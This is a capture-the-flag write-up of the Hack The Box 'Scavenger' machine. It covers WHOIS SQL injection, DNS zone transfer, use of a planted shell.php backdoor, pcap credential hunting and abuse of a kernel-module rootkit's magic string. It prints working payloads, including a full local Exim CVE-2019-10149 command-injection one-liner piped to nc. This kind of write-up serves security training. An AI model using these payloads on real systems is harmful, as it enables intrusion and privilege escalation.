[HTB] Scavenger — Write-up

[HTB] Scavenger — Write-up

by Daniel Min


Welcome to the Scavenger box write-up! This was a hard-difficulty box and had some interesting components to fully boot2root the box. For the initial shell, we need to exploit a WHOIS SQLi to discover more vhosts. Then, do zone transfer against DNS server to find more domains. Next, one of the domains hosts a script called shell.php which we will do a parameter brute-forcing to discover command execution. For the user escalation, we will need to do more scavenger hunt to find a password to the user to collect the user.txt file. Finally for the root shell, we will leverage a pre-installed rootkit to escalate our privilege to read the root.txt file. Additionally, there was a unintended route to get an instant root access from the shell.php access via Exim SMTP server. I will also talk about this in the end as well :) Let’s get started!


Recon

  • Nmap

Let’s begin with an initial port scan using the following command:

$ nmap -Pn — open -sC -sV -p- -T4 10.10.10.155

Interesting ports to note:

  • FTP (21/TCP) — *Anonymous login was not allowed
  • SMTP (25/TCP) — The found version Exim 4.89 was vulnerable to a specific RCE; however, it was unable to exploit it remotely. But it was exploitable once I had a command execution on the box. This was an unintended way and I will show you how it can be done.
  • WHOIS (43/TCP) — This is a WHOIS server which can accept data from whois client. This was interesting to see this port was available.
  • DNS (53/TCP) — When DNS is configured with TCP, it can be vulnerable to zone transfer attacks if it’s not properly configured.
  • HTTP (80/TCP) — Web server

Initial Foothold

Whois SQLi Attack (Whois — 43/TCP)

From the initial scan, the WHOIS server seems to be the most interesting.

### WHOIS
$ whois -h 10.10.10.155 -p 43 "scavenger.htb"

The above normal WHOIS query reveals that it is configured with MariaDB10.1.37. Since it is using a database to retrieve data, we can play with the parameters to see if we can cause some SQL error to further SQLi attack.

### WHOIS SQLi Check
$ whois -h 10.10.10.155 -p 43 "scavenger.htb'"

Putting a single-quotes at "scavenger.htb'" caused a SQL error. Using the following boolean-based SQLi payload, we can dump database contents:

### WHOIS SQLi Attack
$ whois -h 10.10.10.155 -p 43 "scavenger.htb') or 1=1#"% 

% SUPERSECHOSTING WHOIS server [email protected]
% for more information on SUPERSECHOSTING, visit
http://www.supersechosting.htb
% This query returned 4 object
   Domain Name: SUPERSECHOSTING.HTB
   Registrar WHOIS Server: whois.supersechosting.htb
   Registrar URL: http://www.supersechosting.htb

...snip... 

The Registry database contains ONLY .HTB domains and
--   Domain Name: JUSTANOTHERBLOG.HTB
   Registrar WHOIS Server: whois.supersechosting.htb
   Registrar URL: http://www.supersechosting.htb

...snip...

The Registry database contains ONLY .HTB domains and
--   Domain Name: PWNHATS.HTB
   Registrar WHOIS Server: whois.supersechosting.htb
   Registrar URL: http://www.supersechosting.htb

...snip...

The Registry database contains ONLY .HTB domains and
--   Domain Name: RENTAHACKER.HTB
   Registrar WHOIS Server: whois.supersechosting.htb
   Registrar URL: http://www.supersechosting.htb

...snip...

From the attack, we were able to collect the following four (4) additional domains:

  • supersechosting.htb
  • justanotherblog.htb
  • pwnhats.htb
  • renahacker.htb

DNS Zone Transfer (DNS — 53/TCP)

Next, we can check if the DNS server is vulnerable to zone transfer. If so, we could discover more subdomains. Create a text file with all the found domains:

We can use the following bash one-liner to check zone transfer against the domains:

### Zone Transfer
$ while read i; do dig AXFR $i @10.10.10.155; done < domains.txt

Except for scavenger.htb domain, the other domains were vulnerable, and we now have more subdomains to play with.

; <<>> DiG 9.11.14-3-Debian <<>> AXFR scavenger.htb @10.10.10.155
;; global options: +cmd
; Transfer failed.
; <<>> DiG 9.11.14-3-Debian <<>> AXFR supersechosting.htb 
@10.10.10.155
supersechosting.htb.       604800 IN    A       10.10.10.155
ftp.supersechosting.htb.   604800 IN    A       10.10.10.155
mail1.supersechosting.htb. 604800 IN    A       10.10.10.155
ns1.supersechosting.htb.   604800 IN    A       10.10.10.155
whois.supersechosting.htb. 604800 IN    A       10.10.10.155
www.supersechosting.htb.   604800 IN    A       10.10.10.155

...snip...

; <<>> DiG 9.11.14-3-Debian <<>> AXFR justanotherblog.htb 
@10.10.10.155
justanotherblog.htb.       604800 IN    A       10.10.10.155
mail1.justanotherblog.htb. 604800 IN    A       10.10.10.155
www.justanotherblog.htb.   604800 IN    A       10.10.10.155

...snip...

; <<>> DiG 9.11.14-3-Debian <<>> AXFR pwnhats.htb 
@10.10.10.155

;; global options: +cmd
pwnhats.htb.            604800  IN      A       10.10.10.155
mail1.pwnhats.htb.      604800  IN      A       10.10.10.155
www.pwnhats.htb.        604800  IN      A       10.10.10.155

...snip...

; <<>> DiG 9.11.14-3-Debian <<>> AXFR rentahacker.htb @10.10.10.155
;; global options: +cmd
rentahacker.htb.        604800  IN      A       10.10.10.155
mail1.rentahacker.htb.  604800  IN      A       10.10.10.155
sec03.rentahacker.htb.  604800  IN      A       10.10.10.155
www.rentahacker.htb.    604800  IN      A       10.10.10.155

...snip...

Let’s add all the domains to the /etc/hosts so that we access them.

www.supersechosting.htb

This was a static page, and nothing sexy found from here.

www.justanotherblog.htb

This was just a image, and also nothing interesting found.

 

www.pwnhats.htb

This page was about selling hats.

From a directory brute-forcing using Dirsearch tool, we can find an INSTALL.txt file which disclose the installed PrestaShop 1.7, a open source e-commerce solution.

Besides that, there was nothing really interesting to proceed further attack.

www.rentahacker.htb

This web page seemed more interesting than other ones, and WordPress was installed. However, common credentials (e.g., admin : password) didn’t get us in for the admin login portal.

And there was an interesting comment within the comments section, which might be indicating we need to do further discovery.

Remote Command Execution — Shell.php

From the zone transfer, the sec03.rentahacker.htb subdomain was also found. When we browse that URL, we get to an interesting page.

After directory brute-forcing, we find an interesting PHP script called shell.php.

### Dirsearch
$ dirsearch.py -u http://sec03.rentahacker.htb/ -e php,txt,html | grep 200


Assuming this shell.php PHP script may be a backdoor created by the attacker and have a parameter where we can do a command execution, we use Burp Suite to brute-force it. First, capture the http://sec03.rentahacker.htb/shell.php and add ?test=whoami. Then move it to the Burp Intruder and add test as a brute-forcing point.

Use the Kali default /usr/share/wordlist/dirb/common.txt file.

And soon enough, we can see hidden responded with a different length then other words.


User Access #1 — ib01c03

________________________________________________________________

When we check the response, we can see the command output of whoami. Our current user is ib01c03.

When we cat the shell.php file, we can actually confirm the PHP script. :)

Also, we can read the /etc/passwd file to see available users in this box.

And further enumeration found clear-text credentials for ib01c03 user within the /config/config_inc.php file.

Although we couldn’t SSH into the box, we were allowed to access FTP service. Also, a directory traversal was allowed within the FTP session so that we could move around to other directories to browse files.

And within the /var/mail directory, additional credentials found for the ib01ftp user.


User Access #2 — ib01ftp

_________________________________________________________________

This account seems to be another FTP account. We can directly log into the FTP service. Once we successfully logged in, we can see the incidents folder and there were some interesting access.log and pcap files as well as a notes.txt.


$ cat notes.txt 

After checking the logs and the network capture,  all points to that the attacker knows valid 
credentials and abused a recently discovered vuln to gain access to the server!

After reading the notes.txt, our next task seems to be that we need to analyze the access.log and the pcap file to discover some credentials and further exploit the box.

When we analyze the ib01c01_incident.pcap file, we can quickly realize that this is connection and authentication logs to the pwnhats.htb web page.

Since the pwnhats.htb is configured with unencrypted HTTP, we can read the authentication attempts and find the clear text credentials as well as admin page URL. Following one of the POST request to the pwnhats.htb admin portal, we can successfully discover the following credentials.

PrestaShop Attack Attempts

According the the pcap file, when we go to the /admin530o6uisg page on the pwnhats.htb, we can see the PrestaShop 1.7.4.4 login page.

Login with these [email protected] : GetYouAH4t! credentials were not allowed or continued timed out. Also the very version of the PrestaShop was vulnerable to a public RCE exploit — CVE-2018–19126, but the PoC script did not seem to be working.


User Access #3 — ib01c01 (*Password Reuse)

_________________________________________________________________

The password found for the PrestaShop admin portal was actually reused for the ib01c01 account. With that, we can log into the FTP service. Within, we can read the user.txt file to successfully collect the user flag.


Privilege Escalation #1 — Rootkit

_________________________________________________________________

PCAP Analysis

Getting hints from the previously found notes.txt, we can continue analyzing the ib01c01_incident.pcap file to see what the attacker had done.

In the TCP stream 20, the attacker was allowed to access the admin page of the PrestaShop application via using the valid credentials.

In the TCP stream 21, we can see that ‘200 OK’ was granted.

In the TCP stream 25, we can see another POST request with the base64-encoded reverse shell payload.

When we decode the above highlighted string, we can clear see that netcat reverse shell payload.

In the TCP stream 26, we can see that the attacker was able to gain RCE on the box and wget the Makefile and root.c files.

In the TCP stream 27, we can see the contents of the Makefile.

In the TCP stream 28, we can also see that source code of the root.c file.

There was a hardcoded magic value was also found within the source code.

Finally, the TCP stream 29 was the last one, and it was unreadable file.

So, from the information found in pcap file, we could easily google and find a resource regarding this rootkit using Loadable Kernel Modules (LKM). More detailed information was found here. But in short:

When a process writes a magic string to our special device, our LKM will give root credentials to such process. You can change this approach in many different ways. For instance, another classical way of doing this is writing the PID of the process you want to grant permissions.

The PoC code found in the resource page seems to be the exactly same as the root.c file. And we could see that the same magic value there too.

root.ko

Additionally, within the ib01c01 user FTP access, there was a hidden folder ... where root.ko file was found.

According to the PoC page, when the root.c is compiled via Makefile it will create the rook.ko file. And when it gets loaded via the following instructions:

Then, it will create a new device under the /dev folder called /dev/ttyR0. Once it’s created, its permission has to be modified with the following command:

Once it’s configured, we can run a command under the context of the root user via supplying a magic value to the device. PoC from the resource page is below:

Knowing all this, first thing we can check is if the attacker already installed the rootkit on the box, especially the root.ko file was found in the box. To do that, we could simply query for the /dev/ttyR0. (*For myself, I created this rootkit on my local box using the PoC page to learn more about how it gets compiled, installed, executed and so forth. I highly recommend doing it :])

GET /shell.php?hidden=ls+-la+/dev/+|+grep+ttyR         # URL-encoded

Awesome, we can see that /dev/ttyR0 is already created in the box, and it was also configured to have 0666 permission. Now, let’s try to execute a command using the magic word found “g0tR0ot” to see if we can execute it under the context of root.

GET /shell.php?hidden=echo+"g0tR0ot"+>+/dev/ttyR0+%26%26+id

Decompiling root.ko (Tool used: Ghidra)

Hmm… it didn’t work. The magic word might not be “g0tR0ot.” Let’s download the root.ko file and do further analysis on it via decompiling it.

We can use a decompiler called Ghidra to accomplish our goal. Create a new project and import our root.ko file.

Then, double click the filename to begin decompiling. And I just used the default setting to analyze the file.

Then, we want to look at the root_write() function to see what happened to the “magic” value. We can see that Ghidra successfully decompiled the file; however, we can notice that the variables were converted to local pointers. Just for easy to view purposes, I convert those pointers to variable names by finding those names using IDA Pro disassembler.

Now, rename those pointer value to variable names in Ghidra. Once I did that, I also convert those HEX values to ASCII for the following variables:

* a = 0x743367 (ASCII -> "t3g")                   # g3t
* b = 0x76317250 (ASCII -> "v1rP")                # Pr1v
* magic = 0x746f3052743067 (ASCII -> "to0Rt0g")   # g0tR0ot 

(*Note: HEX values are Little Endian)

Also, we can see that snprinf() function is overwriting the magic value with a + b, which is “g3tPr1v.” We can confirm if this is the new magic string to trigger the rootkit.

GET /shell.php?hidden=echo+"g3tPr1v"+>+/dev/ttyR0+%26%26+id+%26+ifconfig

Perfect! It was the correct magic string, and we can now execute command as the root user. We can read the root.txt file to complete the box.


Privilege Escalation #2 — Exim SMTP

_________________________________________________________________

So the second privilege escalation part was via Exim SMTP server installed in the box. This was an unintended way that the exploit PoC was came out a bit later than the box was released. The detailed Exim 4.9.1 Remote Command Execution vulnerability (CVE-2019–10149) can be found here.

The reason this exploit is possible is because:

The exploit seemed to be pretty straight-forward, and the version of the Exim SMTP server installed in the Scavenger box was vulnerable.

I checked that the remote attack was not possible; however, exploiting this locally was possible, which means we could leverage this attack to gain root access right after gaining RCE from shell.php.

### Exim SMTP Exploit PoC Code

touch /dev/shm/bigb0ss;(sleep 1 ; echo HELO bigb0ss ; sleep 1 ; echo 'MAIL FROM:<>' ; sleep 1 ;
echo 'RCPT TO:<${run{\x2Fbin\x2Fsh\x09-
c\x09\x22cat\x09\x2Froot\x2Froot.txt\x3E\x3E\x2Fdev\x2Fshm\x2Fbigb0ss
\x22}}@localhost>' ; sleep 1 ; echo DATA ; sleep 1 ; echo "Received:
1" ; echo "Received: 2" ; echo "Received: 3" ; echo "Received: 4" ; 
echo "Received: 5" ; echo "Received: 6" ; echo "Received: 7" ; echo 
"Received: 8" ; echo "Received: 9" ; echo "Received: 10" ; echo 
"Received: 11" ; echo "Received: 12" ; echo "Received: 13" ; echo 
"Received: 14" ; echo "Received: 15" ; echo "Received: 16" ; echo 
"Received: 17" ; echo "Received: 18" ; echo "Received: 19" ; echo 
"Received: 20" ; echo "Received: 21" ; echo "Received: 22" ; echo 
"Received: 23" ; echo "Received: 24" ; echo "Received: 25" ; echo 
"Received: 26" ; echo "Received: 27" ; echo "Received: 28" ; echo 
"Received: 29" ; echo "Received: 30" ; echo "Received: 31" ; echo 
"" ; echo "." ; echo QUIT) | nc 127.0.0.1 25

(*Disclaimer: During this exploit, I was having many syntax errors,
and CurioCT was a hero to help me to fix it. Thanks mate!)

So what this will do is, once exploited, it will cat the root.txt file to /dev/shm/bigb0ss file. And since the bigb0ss file will be created under the context of the current user, we cam simply go ahead and read the file :)

Once run this via Burp, we could see the promising responses from the server.

And indeed, it created the file called bigb0ss under the /dev/shm folder.

And when we cat the file, we can successfully read the root.txt flag.


Conclusion

_________________________________________________________________

As the box name, it was a lot of hunting for hints and gaining different level of access to fully compromise the box. I really like the box, especially for the pcap file analysis and exploiting the pre-installed rootkit to gaining root access. If you are up to this part, I really appreciate you reading a long walkthrough. Thanks for reading! :)


About the Author

Daniel Min is a senior security consultant in Optiv’s Threat Management practice with a concentration on network penetration testing, threat simulations and web application security testing. His experience ranges from small businesses to Fortune 500 corporations in a multitude of industries. Min is a subject matter expert (SME) in cybersecurity assessments including perimeter, internal and PCI penetration testing, scenario-based threat simulations, web application security testing and social engineering exercises. Prior to joining Optiv, Min was a senior security consultant for a California-based global consulting firm responsible for network penetration testing, web application testing and social engineering in both large and medium enterprise environments. Min earned his master’s degree in IT Auditing and Cybersecurity (ITACS) and bachelor’s degree in Management Information System (MIS) from Temple University.


The write-up was originally published at: https://medium.com/@bigb0ss/htb-scavenger-write-up-fee11d971774

March 5, 2020

Leave a Reply

avatar

This site uses Akismet to reduce spam. Learn how your comment data is processed.

  Subscribe  
Notify of

© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013

Privacy Preference Center

Necessary

Cookies that are necessary for the site to function properly. This includes, storing the user's cookie consent state for the current domain, managing users carts to using the content network, Cloudflare, to identify trusted web traffic. See full Cookies declaration

gdpr, PYPF, woocommerce_cart_hash, woocommerce_items_in_cart, _wp_wocommerce_session, __cfduid [x2],

Performance

These are used to track user interaction and detect potential problems. These help us improve our services by providing analytical data on how users use this site.

_global_lucky_opt_out, _lo_np_, _lo_cid, _lo_uid, _lo_rid, _lo_v, __lotr
_ga, _gid, _gat, __utma, __utmt, __utmb, __utmc, __utmz
vuid

Advertising


tr, fr
ads/ga-audiences